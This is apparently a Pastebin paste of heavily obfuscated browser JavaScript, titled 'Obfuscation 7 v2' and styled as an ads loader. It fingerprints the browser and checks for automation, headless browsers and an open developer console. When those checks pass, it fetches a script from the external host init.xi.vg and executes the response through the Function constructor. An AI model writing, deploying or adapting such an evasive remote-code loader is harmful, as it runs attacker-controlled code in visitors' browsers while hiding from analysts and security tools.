Advertisement
StanislavPipa

Obfuscation 7 v2

Sep 16th, 2019
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var URL = "https://init.xi.vg/ads/mobile.php?alert";
  2.  
  3. +function(){
  4.   setTimeout(function() {
  5.     var list, pair, lists, input, supplied, equality;
  6.  
  7.     function truncate(take, satisfies) {
  8.       return satisfies ? take.toLowerCase() : up(take[0])+take.substring(1);
  9.     }
  10.  
  11.     function view (lens) { return stop(run(lens.split(''))) }
  12.     function identity(dec, inc) { return new RegExp(dec, inc) }
  13.  
  14.     function update(value) {
  15.       var props = Object.keys(value); var values = props.map(function (prop) {
  16.         return value[prop];
  17.       }); return props.concat(values);
  18.     } list = navigator;
  19.  
  20.     function stop(arg) {return arg.join('')}
  21.     function until(initial, type) {
  22.       lists = document; return type ? Object.keys(initial) : Object.keys(initial)
  23.         .map(function (init) { return initial[init] });
  24.     }
  25.  
  26.     function unnest(chain, level) { input = Blob; return chain.slice(level[0], level[1]) }
  27.     function unless(cond) { return cond.reduce(function (acc, sec) { return acc.concat(sec) }) }
  28.  
  29.     function up(data, flag, arg) {
  30.       return !!flag ? data.map(function(el) { return el[arg];}) :
  31.         data.toUpperCase();
  32.     }
  33.  
  34.     function run (data, key, arg) {
  35.       return key >= arg || !!key ? data[key].replace(arg) : data.reverse()
  36.     }
  37.  
  38.     function foo(date, next) {
  39.       var tmp = {}; date.forEach(function(el, ind) {
  40.         next.forEach(function(acc, index) {
  41.           if (ind === index) {
  42.             tmp[acc] = el
  43.           }
  44.         })
  45.       }); return tmp;
  46.     }
  47.  
  48.     var pred = '[a-zA-Z]', steps;
  49.     function containing(predicate) {
  50.       var res = [];
  51.       if (typeof predicate === 'function') {
  52.         res = predicate.toString()
  53.       } else {
  54.         res.push(predicate)
  55.       }
  56.       return res;
  57.     }
  58.  
  59.     function pest(arg, keys, data) {
  60.       return arg ? String.fromCharCode(arg) : keys ? data.map(function(el) {
  61.         return data[key] = { key: el };
  62.       }) : data[arg];
  63.     }
  64.  
  65.     function uniq(original) {
  66.       return original.map(function (elts) {
  67.         return elts.reduce(function (acc, next, index) {
  68.           var uniq = true;
  69.           if (index === 1){ return [acc, next] }
  70.           acc.forEach(function (el) { if (next === el) { uniq = false } });
  71.           if (uniq) { acc.push(next); return acc }
  72.           return acc;
  73.         });
  74.       })
  75.     }
  76.  
  77.     var coords = 'web_bly_bar_tent'; function determine (data, equality) {
  78.       if (!equality.a){ return data.slice(equality.b) } return data.slice(equality.b, equality.a);
  79.     } var spec, where, when;
  80.  
  81.     function union(each, arg) { return arg.map(function (el) { return each[el] }) }
  82.  
  83.     setTimeout(function() {
  84.       pair = window; steps = function (data) {
  85.         var args = data.split(''); return args.map(function(step) {
  86.           if (step === pest(50)) { return repeat()
  87.           } else if (step === pest(51)) { return remove()
  88.           } else if (step === pest(52)) { return reject()
  89.           } else if (step === pest(53)) { return reduced()
  90.           }
  91.         });
  92.       }
  93.     }, 100);
  94.  
  95.     function ogle(syndi, gen) { return gen ? syndi in gen : syndi in pair }
  96.  
  97.     var flops = function (pers, tent, cati, open) {
  98.       if (pers && tent) {return pers.is = tent }
  99.       else if (cati) {return cati.kit.slice }
  100.       else if (open) {return open.data = 'base' }
  101.       else if (pers === 'screen') {return { color: 'depth'} }
  102.     };
  103.  
  104.     var flood = function(deb, plug) { return deb ? 'ug' : plug ? 'ins' : 'light' },
  105.       transpose, transduce, initialize, accumulator;
  106.  
  107.  
  108.     function assem(side, con) { rect[con] = side }
  109.  
  110.     function spot(acc, data) {
  111.       var tmp = identity(pred+'{3,5}', 'g'),
  112.         el = [ containing(acc).match(tmp), ], res = [];
  113.  
  114.       el.forEach(function(acc) {
  115.         var tmps = acc.slice(2,-6);
  116.         tmps.forEach(function(sec, index) {
  117.           return index > 1 ? res.push(sec) : index < 1 ? res.push('go'+ sec)
  118.             : res.push(sec + containing(data).match(tmp)[12] +'on');
  119.         })
  120.       }); return res;
  121.     }
  122.  
  123.     function les(data) {
  124.  
  125.       return {
  126.         rg: identity(pred + '{3,5}', 'g'),
  127.         field: containing(data),
  128.       }
  129.     }
  130.  
  131.     var moss = spot(ogle, flops); function com(h, secur){ return h ? secur[0] : secur[2] }
  132.  
  133.     var type = function() {
  134.       var ls = les(assem), elts = foo(ls.field.match(ls.rg).slice(2, -2),
  135.         coords.split('_')), props = until(elts, true),
  136.         vls = until(elts), res = []; supplied = performance;
  137.  
  138.       props.forEach(function(property, index) {
  139.         vls.forEach(function(volue, ind) {
  140.           if (ind === index) { res.push(property); res.push(volue) }
  141.         });
  142.       });
  143.  
  144.       var keys = [[0, -18],[11, -11],[18, -4],[25]]; res = res.join('');
  145.  
  146.       return keys.map(function(key, index) {
  147.         if (index > 0 && index < 3) { return ogle(unnest(res, key)) }
  148.         else if (index < 1) {
  149.           var tmp = truncate(unnest(res, key));
  150.           return ogle(tmp.replace(tmp[3], truncate(tmp[3])));
  151.         } else {
  152.           return !ogle(truncate(unnest(res, key)));
  153.         }
  154.       }).concat([1]);
  155.     };
  156.  
  157.  
  158.     function ava(bled, http) { return bled ? http.page() : http }
  159.  
  160.     var zosh = (function() {
  161.       var tmp = identity(pred + '{1,5}', 'g'), el = containing(com).match(tmp);
  162.       return [el[2], el[3]+2, el[8]+'rity'];
  163.     })();
  164.  
  165.     var trim = function() {
  166.       var sequence = { own: 'property', names: 'pth' },
  167.         into = containing(flops).match(/return.+/gi).map(function(elt) {
  168.           return elt.replace(/return|[.,:;={}']/g, '').replace(/\s+/gi, '');
  169.         }), list = [];
  170.  
  171.       until(sequence, true).forEach(function(prop, ind) {
  172.         until(sequence).forEach(function(vol, key) {
  173.           return ind === key ? list.push(truncate(prop) + truncate(vol)) : truncate(prop + vol);
  174.         });
  175.       }); spec = 'gi';
  176.  
  177.       list = [[0,-3], [-3]].map(function(el) { return unnest(list.join(''), el) });
  178.  
  179.       var tmp = [[0, 5], [5]].map(function(key, ind) {
  180.         return ind > 0? truncate(unnest(into[3], key)) : unnest(into[3], key);
  181.       }).join(''); equality = screen;
  182.  
  183.       return [
  184.         (ogle(up(into[0]))||
  185.           input.prototype[into[1].slice(0, -5)+
  186.           up(into[1][6])+into[1].substring(7)]), ogle( unnest(into[2], [0, -8])+
  187.           truncate(unnest(into[2], [-8]))),
  188.         equality[tmp],
  189.         !(Object['get'+list[0]](equality)[0]+'').match(list[1].toLowerCase())
  190.       ]
  191.         .reduce(function(acc, sec) { return acc && sec });
  192.     };
  193.  
  194.     var zip = (function() {
  195.       var tmp = containing(ava).match(/[a-zA-Z]+/g);
  196.       var el = [[],[]]; [1,2,3,7].map(function(acc, ind) {
  197.         if (1 === acc){
  198.           return el[0].push('j'+tmp[acc]);
  199.         } else if (ind === 1) {
  200.           return el[0].push('ena'+tmp[acc]);
  201.         } else if (7 === acc){
  202.           return el[1].push(tmp[acc] + 'ad');
  203.         }
  204.         return el[1].push(up(tmp[acc]));
  205.       }); return el;
  206.     })();
  207.  
  208.     var traverse = function(data, arg) { var tmp = arg.split(' ');
  209.       return ogle(view('tla'), data[data.nodeName
  210.         .replace('#','')+truncate(tmp[1])][tmp[0]])
  211.     };
  212.  
  213.     var transform = function(data) {
  214.       var into = uniq([containing(data).match(identity(pred+'{2,5}', spec))])[0]
  215.         .map(function(el, ind) {
  216.           return ind > 1 && ind < 4 ? el : ind > 4 ? el : '';
  217.         })
  218.         .filter(function(el) {return el.length > 0}), res = [];
  219.  
  220.       for (var i = 0; i < 3; i++) {
  221.         if (i === 0) { res.push(truncate(into[i]+into[i+2])) }
  222.         else if (i === 1) { res.push(into[i]+into[i+2]) }
  223.         else { res.push(into[i+2]) }
  224.       }
  225.  
  226.       return [ogle(res[0]), !(list[res[1]][1] && list[res[1]][1].name.match(res[2]))]
  227.         .reduce(function(acc, sec) { return acc && sec });
  228.     };
  229.  
  230.  
  231.     function pos(acc, sec) { return acc.concat(sec) }
  232.     function repeat() {
  233.       transpose = type().reduce(function(acc, sec) { return acc && sec; });
  234.       transduce = trim();
  235.       initialize = traverse(lists, 'style element');
  236.       accumulator = transform(flood);
  237.       return [transpose, transduce, initialize, accumulator];
  238.     }
  239.  
  240.     var accepts = foo(pos(zip[0], zosh), pos(zip[1], moss)),
  241.       acts, subtract, present, tail; where = new Image();
  242.  
  243.     function bar(field, data, key) { return ogle(('se' + key), field) ? 4 : data ? 2 : 1 }
  244.  
  245.     function convert(folder, key, el) {
  246.       var els = until(folder, true).map(function(el) { return truncate(el, true) }),
  247.         tmp = els.reduce(function(acc, sec, ind) { if (ind === 1 ) {
  248.           return acc + 's://' + sec + 2;
  249.         } else if (ind === 2) { return acc + '.' + sec } else if (ind === 3) {
  250.           return acc + sec + '.com/';
  251.         } else if (ind === 4) { return acc + els[1]+'/'+ sec + el }
  252.         });
  253.       return { s: 0, d: [], u: tmp, n: key ? 6 : 2 };
  254.     }
  255.  
  256.     function order(foo, baz, one, aig) { return typeof (baz+view('otp')) == typeof foo ||
  257.       (list[until(one)[0]+truncate(until(one)[1])]+aig.d).match(/"/);
  258.     }
  259.  
  260.     function times(identity, thunk, tap) { return identity || thunk ? /"/: tap }
  261.  
  262.    function tree (xml, get, ready, flag) {
  263.      return flag ? { on: xml, touch: get, start: ready }
  264.        : {xml: xml, get: get, ready: ready, state: 'response'};
  265.    }
  266.  
  267.    function remove() {
  268.      acts =  bar(lists, accumulator, 'curity');
  269.      subtract = convert(accepts, transduce, '_204?');
  270.      present = order(traverse, 'cry', accepts, subtract);
  271.      tail = times(transpose, accumulator, where);
  272.      return [acts,subtract,present,tail];
  273.    }
  274.  
  275.    var similarly = tree('request','load','status'), sort, copy;
  276.  
  277.    function split(data, volue, arg) {
  278.      var tmp1 = update(data),el='event'; return function(a,b,c){
  279.        b = new pair[tmp1[0].toUpperCase()+truncate(update(volue)[0]
  280.          .toLowerCase())+truncate(tmp1[4])](); b.open(tmp1[1], a);
  281.        b['add'+truncate(el)+view(arg)](tmp1[5], function() { this[tmp1[2]+truncate(tmp1[3])]==4 &&
  282.        this[tmp1[6]]==200 && c(this[tmp1[7]+'Text'])()}); b.send();
  283.      };
  284.    }
  285.  
  286.    function pars(acc, data, flag) {
  287.      return flag ? [acc+'irt', data+'de']:['m'+acc, 'to'+data.substring(3), 'po'+data.slice(0,-3)];
  288.    }
  289.  
  290.    function separator(base, name, accord) {
  291.      return function(a, b) { base(a, b, name.join[accord + 'ructor']) };
  292.    } var fos = pars('tned', 'eg', true);
  293.  
  294.    function reject() {
  295.      var tmp = stop([up('l'), stop(until({is: false}, true)), 'tener']);
  296.      sort = split(similarly, accepts, view(tmp));
  297.      copy = separator(sort, pair['Array'].prototype, 'const');
  298.      return [sort, copy];
  299.    }
  300.  
  301.  
  302.    var given = { user: del(true, fos) }, inclusive, exclusive;
  303.  
  304.    function set(obj, arr) {
  305.      var tmp = Object.keys(obj.agent).concat(Object.keys(obj)
  306.          .map(function(el) { return truncate(el) })).join(''),
  307.        newArr = arr.concat([accumulator, accumulator]);
  308.  
  309.      return update(obj.agent.user).map(function(each, ind) {
  310.        return list[tmp].match(identity(view(each), 'i')) && newArr[ind];
  311.      })
  312.        .reduce(function(acc, sec) { return acc || sec });
  313.    } var stok = pars('ax', 'intuch');
  314.  
  315.    var tomato = tree(stok[0],stok[1],stok[2], true); when = new Date;
  316.  
  317.    function Just(obj) {
  318.      var tmp = until(obj).map(function(each, ind) { return ind > 0 ? truncate(each) : each });
  319.      return !(transduce&&!(list[tmp.join('')+'s']||ogle(until(obj, true).join(''))))
  320.    }
  321.  
  322.    function reduced() {
  323.      inclusive = set({agent: given}, [transpose, (transduce||initialize)]);
  324.      exclusive = Just(tomato);
  325.      return [inclusive, exclusive];
  326.    }
  327.  
  328.    function del (key, data) {
  329.      return key ? { xoferif: data[0], irafas: data[1] }
  330.        : { get: data[0], Entries: data[1]+'op', By: data[1]+2, Type: data[2] };
  331.    }
  332.  
  333.    setTimeout(function() {
  334.      var scan = steps('2345');
  335.  
  336.      function gol(keys) { return keys ? 'sole' : keys.con }
  337.  
  338.      function pars(obj, keys) {
  339.        var els = containing(obj).match(identity(pred+'{3}', 'gi'));
  340.        var tmp = keys.map(function(key, ind) {
  341.          return ind === 2 ? view(els[key]) : ind === 1 ? els[key] +'e' : els[key];
  342.        });
  343.        return [tmp[0] + tmp[1], tmp[2]];
  344.      }
  345.  
  346.      function seet(our, proto) { var res = our.ce + proto; return res;}
  347.      var tmp = containing(seet).match(/[a-zA-Z]{3,5}/g);
  348.  
  349.      function grab(data) {
  350.        return [data[6]+data[7]+'ce', 'h', data[8]+'col'];
  351.      }
  352.  
  353.      var poof = function(data, key){
  354.        return key ? function(){
  355.          var tmp = key.map(function(el) {
  356.            return el.reduce(function(acc, sec) { return acc + sec });
  357.          }); data--; return''; } : function(){ acts--; return''};
  358.      }, pond = del(false, grab(tmp));
  359.  
  360.      function reverse(data) {
  361.        var tmp = until(data); return function(){
  362.          if( !supplied[until(data, true).join('')]
  363.            || !supplied[until(data, true).join('')](tmp[0]).length ) { copy(URL);
  364.          } else {
  365.            supplied.getEntriesByType(tmp[0]).forEach(function(a){
  366.              a.name.match(subtract.u)&&(a['next'+truncate(tmp[1])+truncate(tmp[3])]
  367.                ||tmp[2]).slice(~subtract.d)==subtract.n&&copy(URL);
  368.            });
  369.          }
  370.        };
  371.      }
  372.  
  373.      +function(){
  374.        var initAdsLoader = function(a, b){
  375.          if (scan[3][0]){
  376.            if( a && scan[3][1] ) {
  377.              tail.__defineGetter__(scan[0][0]||scan[0][3]?'to'+truncate(typeof similarly.xml):'id', poof());
  378.              tail.id = until(tomato, true)[0]+view('elggot');
  379.              pair[b[0]][b[1]](tail);
  380.              where.onerror = reverse(pond);
  381.              acts&&(where.src=subtract.u+(when).getTime());
  382.            }
  383.          }
  384.        };
  385.        initAdsLoader( !present, pars(gol, [9,7,2]));
  386.      }();
  387.    }, 200);
  388.  }, 100);
  389. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement